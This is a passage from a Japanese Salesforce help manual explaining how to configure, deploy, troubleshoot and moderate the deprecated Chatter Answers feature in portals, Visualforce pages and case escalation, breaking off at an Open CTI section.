するには、そのゾーンの最上位にあるデータカテゴリの表示が顧客のユーザプロファイルに設定されて
いる必要があります。また、ゾーンに関連付けられた最上位のデータカテゴリではなく、子データカテ
ゴリが顧客に表示される場合、ゾーンは表示されません。

関連トピック:

Chatter アンサーの設定
Salesforce.com のデータカテゴリ
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Chatter アンサー用の Salesforce ナレッジの設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ユーザを作成または編集
する
• 「内部ユーザの管理」

記事タイプと記事アク
ションを作成する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

シノニムを管理する
• 「シノニムの管理」

データカテゴリを作成す
る
• 「データカテゴリの管

理」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーゾーンに Salesforce ナレッジの記事を表示するには、以下を実行
する必要があります。
1. データカテゴリを実装する (まだ実行していない場合)。
2. Salesforce ナレッジを実装する (まだ実行していない場合)。
3. これら両方を Chatter アンサー用に設定する。
顧客およびサポートエージェントが質問およびナレッジの記事を分類したり、
絞り込んだりできる最上位データカテゴリ (トピック) を使用して各ゾーンを設
定します。
1. ロールベースのデータカテゴリの表示設定を使用する場合、[デフォルトデー

タカテゴリ表示] を [すべてのカテゴリ] に設定して、大規模ポータルユーザ
などの組織のロール階層に含まれない顧客が質問およびSalesforce ナレッジ記
事を含むカテゴリにアクセスできるようにします。
権限セットまたはプロファイルを使用して、データカテゴリの表示を設定す
ることもできます。

2. すべてのコミュニティに対して 1 つのカテゴリグループを作成して、有効な
データカテゴリの制限数である 3 個を超えることがないようにします。次
に、各コミュニティに 1 つの子カテゴリを追加し、トピックを提供するため
にそれらのカテゴリに子カテゴリを追加します。

3. Chatter アンサーで利用できるようにする必要のあるカテゴリグループを有効
化して、ユーザがアクセスできるようにします。

4. Chatter アンサーユーザのプロファイルに特定の記事タイプに対する「参照」権限を付与して、ユーザがゾー
ンから記事にアクセスできるようにします。

5. 必要に応じて、サポートエージェントが返信を知識ベースのドラフト記事に昇格させて、サポートチーム
が有益な情報をすばやく取得できるようにできます。

関連トピック:

Chatter アンサー実装の概要
Chatter アンサーの設定
データカテゴリの表示設定
カテゴリグループの作成と編集
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ポータルへの Chatter アンサーの追加

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーを既存のカスタマーポータルまたはパートナーポータルに追加
すると、ポータルユーザが設定したチャネルの 1 つから Chatter アンサーゾーン
にアクセスできます。ユーザはポータルにログインすると、タブから Chatter ア
ンサーにアクセスし、ドロップダウンリストから参照するゾーンを選択します。
ポータルに Chatter アンサーのみを表示する場合は、Chatter アンサーをホストする Force.com サイトを設定する
必要はありません。ただし、このサイトでは、ゲストユーザはログインせずに一部のChatter アンサーデータに
アクセスできますが、ポータルではアクセスできません。
ポータルに Chatter アンサーが追加されると、次のように表示されます。
• Chatter アンサーはタブとして表示されます。タブの名前は変更可能です。
• ポータルユーザは、ドロップダウンリストを使用して、Chatter アンサーゾーンを切り替えることができま

す。
• ユーザの [私の設定] リンクは、[メールを有効化] と [メールを無効化] に置き換えられます。
• ポータルユーザがポータルにログインすると、Chatter アンサーのみを参照できるようになるため、[サイン

イン] と [サインアップ] が削除されます。
• Chatter アンサーは特定のデザインで表示され、これをカスタマイズすることはできません。
• [支援が必要ですか?] リンクは削除されます。
• ポータルでVisualforceページを使用してChatter アンサーを表示する場合、ポータル内でゾーンを切り替える

オプションは利用できません。

関連トピック:

Chatter アンサーの設定
カスタマーポータルの設定
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カスタマーポータルへの Chatter アンサーの追加

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタマーポータルに
Chatter アンサーを追加す
る
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーを既存のカスタマーポータルに追加して、設定されたいずれか
のサポートチャネルからポータルユーザが Chatter アンサーゾーンにアクセスで
きるようにすることができます。
1. ポータルで Chatter アンサーを有効化する手順は、次のとおりです。

a. [設定] から、[クイック検索] ボックスにChatter「アンサー設定」と入力
し、[Chatter アンサーの設定] を選択します。

b. [編集] をクリックします。
c. [Chatter アンサーをポータルに表示] を選択します。
d. [保存] をクリックします。

2. カスタマーポータルユーザプロファイルを編集して Chatter アンサーをサポートします。
拡張プロファイルユーザインターフェースを使用するには、次の手順に従います。
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. ポータルユーザプロファイルの横にある [編集] をクリックします。
c. ページの [アプリケーション] セクションで、[オブジェクト設定] を選択します。
d. [オブジェクト設定] ページで、[Q&A] を選択します。
e. [タブの設定] で、[デフォルトで表示] を選択します。
f. [保存] をクリックして、[オブジェクト設定] ページに戻ります。
g. [質問と回答] を選択し、[オブジェクト権限] セクションで [参照] および [作成] を選択します。
h. [保存] をクリックします。
元のプロファイルインターフェースを使用するには、次の手順に従います。
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. ポータルユーザプロファイルの横にある [編集] をクリックします。
c. [タブの設定] で、[Q&A] に [デフォルトで表示] を選択します。
d. [標準オブジェクト権限] で、[質問] の [参照] と [作成] を選択します。
e. [保存] をクリックします。

3. Chatter アンサーユーザ機能ライセンスをカスタマーポータルユーザに追加する手順は、次のとおりです。
a. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
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b. ポータルユーザの横にある [編集] をクリックします。
c. [一般情報] 領域で、[Chatter アンサーユーザ] を選択します。
d. [保存] をクリックします。

4. Chatter アンサーをタブとしてカスタマーポータルに追加する手順は、次のとおりです。
a. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設

定] を選択します。
b. カスタマーポータルの名前をクリックします。
c. [ポータルタブのカスタマイズ] をクリックします。
d. [Q&A] を選択し、[追加] 矢印をクリックして、[選択されたタブ] ボックスに移動します。
e. [保存] をクリックします。

5. 必要に応じて、カスタマーポータルの [Q&A] タブの名前を変更する手順は、次のとおりです。
a. [設定] から、[クイック検索] ボックスに「タブと表示ラベルの名称変更」と入力し、[タブと表示ラベル

の名称変更] を選択します。
b. [質問] の横にある [編集] をクリックします。
c. [次へ] をクリックします。
d. [その他の表示ラベル] で、「Q&A」という名前を変更します。名前の変更は、Pluralではなく、Singular

としてのみ可能です。
e. [保存] をクリックします。

関連トピック:

ポータルへの Chatter アンサーの追加
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パートナーポータルへの Chatter アンサーの追加

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

パートナーポータルに
Chatter アンサーを追加す
る
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーを既存のパートナーポータルに追加して、設定されたいずれか
のパートナーチャネルからポータルユーザが Chatter アンサーゾーンにアクセス
できるようにすることができます。
1. ポータルで Chatter アンサーを有効化する

a. [設定] から、[クイック検索] ボックスにChatter「アンサー設定」と入力
し、[Chatter アンサーの設定] を選択します。

b. [編集] をクリックします。
c. [Chatter アンサーをポータルに表示] を選択します。
d. [保存] をクリックします。

2. パートナーポータルユーザプロファイルを編集して Chatter アンサーをサポートする
a. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
b. ポータルユーザプロファイルの横にある [編集] をクリックします。
c. ページの [アプリケーション] セクションで、[オブジェクト設定] を選択します。
d. [オブジェクト設定] ページで、[Q&A] を選択します。
e. [タブの設定] で、[デフォルトで表示] を選択します。
f. [保存] をクリックして、[オブジェクト設定] ページに戻ります。
g. [質問と回答] を選択し、[オブジェクト権限] セクションで [参照] および [作成] を選択します。
h. [保存] をクリックします。

3. Chatter アンサーユーザ機能ライセンスをパートナーポータルユーザに追加する
a. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
b. ポータルユーザの横にある [編集] をクリックします。
c. [一般情報] 領域で、[Chatter アンサーユーザ] を選択します。
d. [保存] をクリックします。

4. Chatter アンサーをタブとしてパートナーポータルに追加する
a. [設定] から、[クイック検索] ボックスに「パートナー」と入力し、[設定] を選択します。
b. パートナーポータルの名前をクリックします。
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c. [ポータルタブのカスタマイズ] をクリックします。
d. [Chatter アンサー]を選択し、[追加] 矢印をクリックして、[Chatter アンサー]タブを [選択されたタブ] ボッ

クスに移動します。
e. [保存] をクリックします。

5. 必要に応じて、パートナーポータルの [Chatter アンサー] タブの名前を変更する
a. [設定] から、[クイック検索] ボックスに「タブと表示ラベルの名称変更」と入力し、[タブと表示ラベル

の名称変更] を選択します。
b. [質問] の横にある [編集] をクリックします。
c. [次へ] をクリックします。
d. [その他の表示ラベル] で、「Q&A」という名前を変更します。名前の変更は、Pluralではなく、Singular

としてのみ可能です。
e. [保存] をクリックします。

関連トピック:

ポータルへの Chatter アンサーの追加

Chatter アンサーを表示するためのカスタム Visualforce ページの追加

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Visualforceページを作成す
る
• 「アプリケーションの

カスタマイズ」

Visualforceタブを追加する
• 「アプリケーションの

カスタマイズ」

Visualforce ページを使用して、顧客にカスタム Chatter アンサーを提供します。

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

chatteranswers:allfeedsコンポーネントまたは chatteranswers:aboutme,
chatteranswers:guestsignin, chatteranswers:feedfilter,
chatteranswers:feeds, chatteranswers:searchask,

chatteranswers:datacategoryfilter コンポーネントの組み合わせのいず
れかを含めて作成された Visualforce ページが必要です。
Chatter アンサーを表示するためにカスタム Visualforce ページを追加する手順は、
次のとおりです。
1. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

て組織の Visualforce タブのリストを表示します。
2. Visualforceセクションで [新規]をクリックして、新しいVisualforceタブを作成

します。
3. 使用する Visualforce ページを選択し、ページの他の項目の詳細を追加します。
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4. [次へ] をクリックします。
5. タブを表示できるユーザプロファイルを選択します。
6. タブを使用できるカスタムアプリケーションを選択します。
7. [保存] をクリックします。
Visualforce タブをコミュニティタブとして追加するには、コミュニティのタブでページが使用可能であること
を確認します。
Visualforce タブをカスタマーポータルに追加するには、Visualforce タブがポータルに表示されるように設定され
ていることを確認します。
Visualforce タブを Force.com サイトに追加する必要はありません。サイトを設定する前に、Chatter アンサーコン
ポーネントを使用して Visualforce ページが作成されていることを確認するだけで十分です。

関連トピック:

Visualforce ページを使用した Chatter アンサーのカスタマイズ

Chatter アンサー設定のトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

Chatter アンサーを設定す
る
• 「アプリケーションの

カスタマイズ」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーコミュニティの設定後は、1 ページですべての設定のスナップ
ショットを表示できるので、問題を診断するための設定で複数のページにアク
セスしなくても済みます。
1. [設定] から、[クイック検索] ボックスに「サイトの設定」と入力し、[サイト

の設定] を選択します。
2. [サイトのスナップショット] 列で、コミュニティに関連付けられている

Force.com サイトの横にある [表示] をクリックします。
3. さまざまな設定を表示するには、 をクリックし、非表示にするには、

をクリックします。
4. 設定を変更できる設定の特定のページに移動するには [Go!] をクリックしま

す。

例: たとえば、コミュニティをホストするForce.comサイトが [有効]とマー
クされているかどうかを確認したり、カスタマーポータルに割り当てられ
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ているユーザプロファイルの名前を確認したりするためにサイトのスナップショットを使用できます。

関連トピック:

Chatter アンサー実装の概要
Chatter アンサーユーザの概要
Chatter アンサーの設定

Chatter アンサーユーザの概要

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーでは、いくつかの機能がカスタマーポータルと統合されている
ため、Chatter アンサーユーザの管理はカスタマーポータルユーザの管理と似て
います。次を使用して、Chatter アンサーユーザがアクセスできるデータおよび
機能を管理します。
• プロファイル、権限、およびアクセス設定は、ケースへのコメントの追加などのさまざまな機能を実行す

るユーザ権限を決定します。
• ユーザライセンスは、大規模カスタマーポータル (Service Cloud ポータルユーザ) またはカスタマーポータル

マネージャのカスタムライセンスなどのユーザが使用できるプロファイルおよび権限セットを定義します。
• 機能ライセンスは、Chatter アンサーなどの追加の Salesforce 機能をユーザに与えます。
• 項目レベルセキュリティは、Salesforce ナレッジ記事の項目などユーザがアクセスできる項目を定義します。
• 共有セットを使用して、大規模ポータルユーザの定義済みグループにレコードへのアクセス権を付与でき

ます。
Chatter アンサーでは、カスタマーポータルユーザが通常利用できる次の機能は除外されます。
• アイデア
• グループ
• チーム
• レポート
• コンテンツ
• ページレイアウト
• カスタムオブジェクト
• 外部ユーザの代理管理
• カスタマーポータルのロール階層 (利用可能であるけれども使用されていない)

• 大規模ポータルユーザを除く、カスタマーポータルの共有ルール
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Chatter アンサーユーザはゾーンの次のレコードにのみアクセスできます。
• ケース
• 質問
• 返信 (回答)

• Salesforce ナレッジ記事
Chatter アンサーは、作成するゾーンごとに 1 つのユーザ言語をサポートするように設計されています。Chatter

アンサーを有効化すると、組織に自動的に追加された Visualforce ページが組織のデフォルトの言語を継承しま
す。ただし、言語属性は、Visualforce ページごとに変更できます。ゾーンにセルフ登録したユーザは組織のデ
フォルトの言語を継承します。ブラウザにどの言語が選択されていても、ゲストユーザは Visualforce ページで
指定した言語のゾーンを参照します。

メモ:

• Chatter アンサーユーザは言語、タイムゾーン、または地域の設定を変更できません。
• Chatter アンサーを使用するには、ポータルユーザは Chatter アンサーユーザ機能ライセンスを持ってい

る必要があります。この機能ライセンスは、Chatter アンサーにセルフ登録した大規模ポータルユーザ
に自動的に割り当てられます。ユーザを編集して、[Chatter Answers ユーザ]をクリックすると、
セルフ登録していないユーザにライセンスを手動で割り当てることができます。

• 認証 Web サイトユーザプロファイルには、Chatter アンサーへのアクセス権はありません。

Chatter アンサーの表示権限を持つ内部ユーザには、組織の [Q&A] タブにすべてのゾーンが表示されます。内部
ユーザがコミュニティにサインインすると、そのコミュニティに関連付けられたゾーンのみが表示されます。

関連トピック:

Chatter アンサーの設定

Chatter アンサーの評価を使用した参加促進

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

積極的なコミュニティメンバーの活動に報奨を与えることで、コミュニティメ
ンバーから専門知識や情報を引き出すことができます。評価を有効化すると、
ユーザはポイントや評価を獲得できます。これらはフィードでユーザの写真に
マウスを置くと詳細表示されます。人気のある投稿者がより頻繁に活動するこ
とで、コミュニティのコンテンツ全体の質が向上し、問題解決のための支援を求めているユーザはより適切な
回答が得られるようになります。つまり、ソリューションを探しているユーザは、エキスパートの回答が信頼
できるという確信を持てるため、結果として組織のサポートへの電話を減らすことができます。
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ユーザは、所属するゾーンで投稿が投票を集めたり、質問を解決した回答として選ばれたりすると、ポイント
を獲得します。十分なポイントを獲得すると、フロート表示にゾーンでの評価と投稿数および解決した質問数
が表示されます。評価ポイントは、ゾーンごと、および組織全体での累積活動について個別に計算されます。
異なるゾーンに参加しているユーザは、そのゾーンでの活動に基づいてゾーンごとに異なる評価値が計算され
ます。ユーザが内部アプリケーションにログインしている場合、評価スコアはユーザが属しているすべての
ゾーンでの参加に基づきます。
Chatter アンサーには、すべてのゾーンに適用される、次の事前定義された評価レベルがあります。

色レベルごとのポイント数名前

緑0 ～ 499ニュービー

青500 ～ 1999スマーティー

紫2000 ～ 4999プロフェッショナル

オレンジ5000 ～オールスター

ゾーン内の評価レベル名やレベルごとのポイント数を追加または編集するには、APIで ChatterAnswersReputationLevel

オブジェクトを使用します。ゾーンごとに 25 個までの異なる評価レベルを作成できます。評価レベルごとの
色は、スタイルシート (CSS) レベルで変更できます。

関連トピック:

Chatter アンサーユーザの概要
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Chatter アンサー実装のヒント

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

Chatter アンサーを計画して使用するときは、次の点に留意してください。
• Chatter アンサーには複数の Salesforce 機能が含まれるため、Chatter アンサーの

設定および管理は、Salesforce 上級システム管理者および開発者が行うことを
お勧めします。

• システム管理者が Chatter アンサーを設定するには、組織にデータカテゴリが実装されている必要がありま
す。Salesforce ナレッジ記事をゾーンで表示する場合は、システム管理者が Salesforce ナレッジを実装する必
要があります。

• Chatter アンサーの質問および返信の項目、ページレイアウト、ボタンとリンク、Apex トリガ、入力規則を
カスタマイズするには、[設定] から、[クイック検索] ボックスに「Chatter アンサー」と入力し、[Chatter ア
ンサー] を選択して、適切な設定を選択します。

• Chatter アンサーを有効化したら、ゾーンの設定に使用できる複数の項目が組織に自動的に追加されます。
– 内部ユーザおよびシステム管理者が Chatter アンサーを表示および使用できる [Q&A] タブ。システム管理

者はこのタブの名前を変更できます。
– ユーザプロファイルに関する質問の標準的な権限設定。質問および返信に対する権限をユーザに付与で

きるようにします。
– Force.com サイト、コミュニティ内のタブ、またはカスタマーポータルに追加できる Visualforce ページ。

ユーザが、ゾーンのフィード項目を登録、サインイン、参照できるようにします。
– ChatterAnswersRegistration という名前の Apex クラス。ポータルユーザが、取引先の作成をカス

タマイズするメソッドが含まれています。
– chatter_answers_question_escalation_to_case_trigger という名前の質問用 Apex トリガ。指

定の属性を持つ質問がケースに自動的にエスカレーションされるようにします。
– chatter_answers_num_subscriptions_above_ という名前のワークフロー項目自動更新。質問が

ケースにエスカレーションされたときに質問の [優先度] が更新されるようにします。
– 2 つのワークフロールール (chatter_answers_no_best_reply_within_time_limit_wf および

chatter_answers_num_subscriptions_above_limit_wf)。最良の回答のない質問または指定され
た数のフォロワーが登録されている質問、質問が自動的にケースにエスカレーションされるようにカス
タマイズおよび有効化できます。

• Chatter アンサーを既存のカスタマーポータルまたはパートナーポータルに追加すると、ポータルユーザが
設定したチャネルの 1 つから Chatter アンサーゾーンにアクセスできます。

• Chatter アンサーは、作成するゾーンごとに 1 つのユーザ言語をサポートするように設計されています。Chatter

アンサーを有効化すると、組織に自動的に追加されたVisualforceページが組織のデフォルトの言語を継承し

2979

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理

https://help.salesforce.com/apex/HTViewSolution?urlname=Chatter-Answers-to-Retire-in-Winter-18


ます。ただし、言語属性は、Visualforce ページごとに変更できます。ゾーンにセルフ登録したユーザは組織
のデフォルトの言語を継承します。ブラウザにどの言語が選択されていても、ゲストユーザは Visualforce

ページで指定した言語のゾーンを参照します。
• ゾーンのユーザインターフェースでは カスタマーサポート の名前を変更できます。たとえば、「カスタ

マーサポート」を「Acme サポート」に変更できます。Question オブジェクトの「カスタマーサポート」と
いうラベルを変更するだけで済みます。

• ケースにエスカレーションされた質問は、ケースの詳細ページで Chatter のようなフィードとして表示され
ます。ケースの詳細ページには、サポートエージェントがゾーンに投稿されたスレッドに公開または非公
開に回答できる [顧客ビュー] セクションも含まれます。

• [公開] とマークされたケースコメントは、Chatter アンサーにカスタマーサポートからの非公開メッセージ
として表示されます。コミュニティ全体には表示されません。たとえば、サポートエージェントが公開ケー
スコメントを追加すると、Chatter アンサーでケースの取引先責任者にのみ非公開メッセージとして表示さ
れます。サポートエージェントはすべての非公開および公開ケースコメントを参照できます。

• Chatter アンサーは次の場合にユーザにメールを送信します。
– アカウントにサインアップする。
– 質問 (回答またはコメント) をフォローする。
– 質問に対する回答またはコメントを受信する。
– カスタマーサポートから質問に対する非公開の返信を受信する。

• https:// を含まない URL を使用してカスタマイズすると、Internet Explorer 8 ユーザにはセキュリティの警告が
表示されます。

• ゾーンを公開にする前に、20 個以上のよくある質問 (FAQ)、回答、記事を追加しておきます。このコンテン
ツは会話を作成します。

• 次を含む Salesforce ナレッジ記事を作成します。
– サポート組織の電話番号。顧客はサポートエージェントに直接連絡できます。
– ゾーンメンバーの契約条件。サポートエージェントが顧客の質問やコメントを削除した場合などの条件

です。
• Chatter アンサーは次の API オブジェクトを使用します。

– Case

– ChatterAnswersActivity

– ChatterAnswersReputationLevel

– Community (Zone)

– Question

– QuestionReportAbuse

– QuestionSubscription

– Reply
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– ReplyReportAbuse

関連トピック:

Chatter アンサーベストプラクティス
Chatter アンサーの設定

Chatter アンサーでの質問からケースへのエスカレーション

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

[Q&A] タブを参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

ケースを作成する
• ケースに対する「作

成」

Chatter アンサーの質問が未解決のまま残っている場合や、返信が満足のいくも
のではない場合、システム管理者と信頼できるコミュニティメンバー (モデレー
タなど) は質問をケースにエスカレーションできます。

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

ケースの作成後、質問が存続する限り、質問の詳細ページにケースへのリンク
が表示されます。このリンクには、ケースの状況も表示されます。
質問をケースにエスカレーションする手順は、次のとおりです。
1. 質問のタイトルをクリックします。
2. 質問の横にある三角をクリックしてドロップダウンメニューを表示し、[ケー

スにエスカレーション] をクリックします。

メモ: このオプションは、ユーザにケースを作成する権限がある場合に
のみ表示されます。取引先責任者から作成されたユーザは、質問をケー
スにエスカレーションできません。

3. デフォルトの値を変更する場合は、ケース項目を更新します。質問のタイトルが自動的にケースの件名に
なります。

4. [保存] をクリックします。質問の詳細ページに戻り、解決のためケース所有者にケースが表示されます。

メモ: ケースをクローズしても質問は解決済みとマークされません。また、質問が解決してもケースはク
ローズされません。ケースと質問は別個に更新する必要があります。

Chatter アンサーベストプラクティス

メモ: Chatter アンサーは、Winter '18 以降すべてのSalesforce組織で廃止が予定されています。詳細は、「Chatter

アンサーは Winter ’18 で廃止」を参照してください。Summer '16 以降、新規組織で Chatter アンサーは使用で
きません。代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使用できます。Chatter

の質問を使用すれば、Chatter から移動せずに質問したり、答えを検索したりできます。既存の組織は、
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Summer '16 より前に Chatter アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続きア
クセスできます。

Chatter アンサーを計画して使用するときは、次のヒントを参考にしてください。
• サポートエージェントに次の内容を伝えることをお勧めします。

– [ケース発生源] 項目には、質問から変換されたすべてのケースの Chatter アンサーがリストされます。
– 質問に非公開に回答した場合、公開回答に変換することはできません。

• [Q&A] タブで公開質問を確認できるようにサポートエージェントを割り当てることをお勧めします。エー
ジェントはスパム、悪意があるまたは不適切な質問または返信の横にある [旗] をクリックすることはでき
ません。ただし、エージェントに質問に対する「削除」権限がある場合は、[Q&A] タブで質問または返信を
編集したりゾーンから削除したりできます。

• 多くの質問をすばやくモデレートするため、サポートエージェントは Salesforce コンソールの固定表示リス
トから質問を確認することをお勧めします。これには、コンソールのナビゲーションタブに [Q&A] タブを追
加する必要があります。

• 質問から変換されたケースのリストを表示するには、管理者またはサポートエージェントは、[ケースの発
生源] が Chatter アンサーであるケースビューを作成することをお勧めします。

• プロファイルに追加される写真は Chatter アンサーに外部的に表示されるため、サポートエージェントは会
社のポリシーとブランドに一致する写真を選択することをお勧めします。

関連トピック:

Chatter アンサー実装のヒント
Chatter アンサーの設定

電話チャネルの作成

Salesforce Open CTI

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Open CTI は、サードパーティのコンピュータテレフォニーインテグレーション
(CTI) システムを構築し、Salesforce Call Center と統合するために使用可能な JavaScript

API です。Salesforce で CTI 機能を表示するために、Open CTI はブラウザをクライア
ントとして使用します。Open CTI を使用すると、CTI アダプタをマシンにインス
トールしなくても Salesforce で直接ソフトフォンから電話をかけることができま
す。
Open CTI は、次のようにテレフォニーシステムに接続します。
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メモ: Open CTI を実装する方法は、組織のユーザインターフェースに応じて異なります。Salesforce Classicと
Lightning Experience 用に別個の Open CTI API があります。これら 2 つの Open CTI API は動作や機能が異なるた
め、カスタム JavaScript コードで交換することはできません。開発を始める前に、どこに CTI システムを実
装するかを必ず検討してください。

Open CTIが導入される前は、Salesforceユーザは、CTI アダプタプログラムをコンピュータにインストールしなけ
れば、CTI システムの機能を使用できませんでした。このようなプログラムにはメンテナンスが必要なデスク
トップソフトウェアが含まれていたため、クラウドアーキテクチャの本来の利点が生かされていないことが多
くありました。
通常、CTI ベンダーまたはパートナーは Open CTI 実装を作成します。Open CTI 実装ができたら、Salesforce Call Center

